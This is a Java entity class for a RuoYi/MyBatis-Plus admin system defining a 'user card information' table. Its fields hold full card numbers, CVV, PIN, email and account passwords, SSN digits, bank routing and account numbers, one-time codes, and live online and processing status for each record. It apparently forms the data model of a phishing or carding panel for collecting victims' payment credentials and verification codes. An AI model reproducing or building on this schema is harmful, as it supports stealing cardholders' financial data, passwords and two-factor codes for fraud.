package com.ruoyi.system.domain;

import java.util.Date;
import java.util.List;

import com.baomidou.mybatisplus.annotation.TableField;
import com.fasterxml.jackson.annotation.JsonFormat;
import lombok.Data;
import org.apache.commons.lang3.builder.ToStringBuilder;
import org.apache.commons.lang3.builder.ToStringStyle;
import com.ruoyi.common.annotation.Excel;
import com.ruoyi.common.core.domain.BaseEntity;

/**
 * 用户卡信息对象 dy_userinfo
 *
 * @author ruoyi
 * @date 2024-04-25
 */
@Data
public class DyUserinfo extends BaseEntity
{
    private static final long serialVersionUID = 1L;

    /** 主键 */
    private Long id;

    /** 订单ID */
    @Excel(name = "订单ID")
    private String orderId;


    private Integer isExp;

    @TableField(exist = false)
    private List<Long> ids;

    /** 姓氏 */
    @Excel(name = "姓氏")
    private String firstName;

    /** 名字 */
    @Excel(name = "名字")
    private String lastName;

    /** 商品价格- */
    @Excel(name = "商品价格")
    private String price;

    /** 手机- */
    @Excel(name = "手机")
    private String phone;

    /** 邮箱- */
    @Excel(name = "邮箱")
    private String email;

    /** 国家- */
    @Excel(name = "国家")
    private String country;

    /** 地区- */
    @Excel(name = "地区")
    private String state;

    /** 城市- */
    @Excel(name = "城市")
    private String city;

    /** 地址1- */
    @Excel(name = "地址1")
    private String address1;

    /** 地址2- */
    @Excel(name = "地址2")
    private String address2;

    /** ZIP- */
    @Excel(name = "ZIP")
    private String zip;

    /** 姓名/卡主姓名- */
    @Excel(name = "姓名/卡主姓名")
    private String cardName;

    /** 卡号- */
    @Excel(name = "卡号")
    private String cardNumber;

    /** 有效期- */
    @Excel(name = "有效期")
    private String cardDate;

    /** CVV */
    @Excel(name = "CVV")
    private String cvv;

    /** PIN */
    private String pin;

    /** CODE */
    private String code;

    /** 邮箱密码 */
    private String emailPassword;

    /** 卡后四位 */
    private String cardLastFour;

    /** SSN后四位 */
    private String ssnLastFour;

    /** $column.columnComment */
    private String routingNumber;

    /** $column.columnComment */
    private String routingAccount;

    private Integer wait;

    /** IP- */
    @Excel(name = "IP")
    private String ip;

    /** 国家- */
    @Excel(name = "国家")
    private String cardCountry;

    /** 发卡机构- */
    @Excel(name = "发卡机构")
    private String cardScheme;

    /** 类型- */
    @Excel(name = "类型")
    private String cardType;

    /** 等级- */
    @Excel(name = "等级")
    private String cardBrand;

    /** 银行- */
    @Excel(name = "银行")
    private String cardBank;

    /** 卡银行URL */
    private String cardBankUrl;

    /** 卡银行电话 */
    private String cardBankPhone;

    /** $column.columnComment */
    private String cardAlpha2;

    /** 创建时间- */
    @JsonFormat(pattern = "yyyy-MM-dd HH:mm:ss")
    @Excel(name = "创建时间", width = 30, dateFormat = "yyyy-MM-dd HH:mm:ss")
    private Date creatTime;

    /** 状态200处理成功/100待处理/1，3其他- */
    @Excel(name = "卡状态")
    private String status;

    private String wpKey;

    /** $column.columnComment */
    private Long loginType;

    /** $column.columnComment */
    private String murmur;

    /** 操作说明- */
    @Excel(name = "操作说明")
    private String operationRecord;

    /** 验证码- */
    @Excel(name = "验证码")
    private String otp;

    /** $column.columnComment */
    private Long oneKeyPass;

    /** $column.columnComment */
    private Long isCode;

    /** $column.columnComment */
    private Long isPin;

    /** $column.columnComment */
    private Long isSsn;

    /** $column.columnComment */
    private Long isCvv;

    /** $column.columnComment */
    private Long isEp;

    /** $column.columnComment */
    private Long isTwoVerify;

    /** $column.columnComment */
    private Long isCardNumer;

    /** $column.columnComment */
    private Long isRouting;

    /** $column.columnComment */
    private String account;

    /** $column.columnComment */
    private String password;

    /** $column.columnComment */
    private String isOtp;

    /** $column.columnComment */
    private String returnUrl;

    /** 商品名称- */
    @Excel(name = "商品名称")
    private String itemName;

    /** Browser- */
    @Excel(name = "Browser")
    private String userAgent;

    /** 手机号后4位 */
    private String phoneLastFour;

    /** $column.columnComment */
    private String isHighlight;

    /** 邮箱验证 */
    private String emailVerify;

    /** 名称 */
    private String name;

    /** $column.columnComment */
    private String house;

    /** 生日 */
    private String birthday;

    /** Referer- */
    @Excel(name = "Referer")
    private String refUrl;

    /** $column.columnComment */
    private String store;

    //是否在线 1是  0否
    private Integer isOnline;

    //最后在线时间
    @JsonFormat(pattern = "yyyy-MM-dd HH:mm:ss")
    private Date onlineLastTime;
}
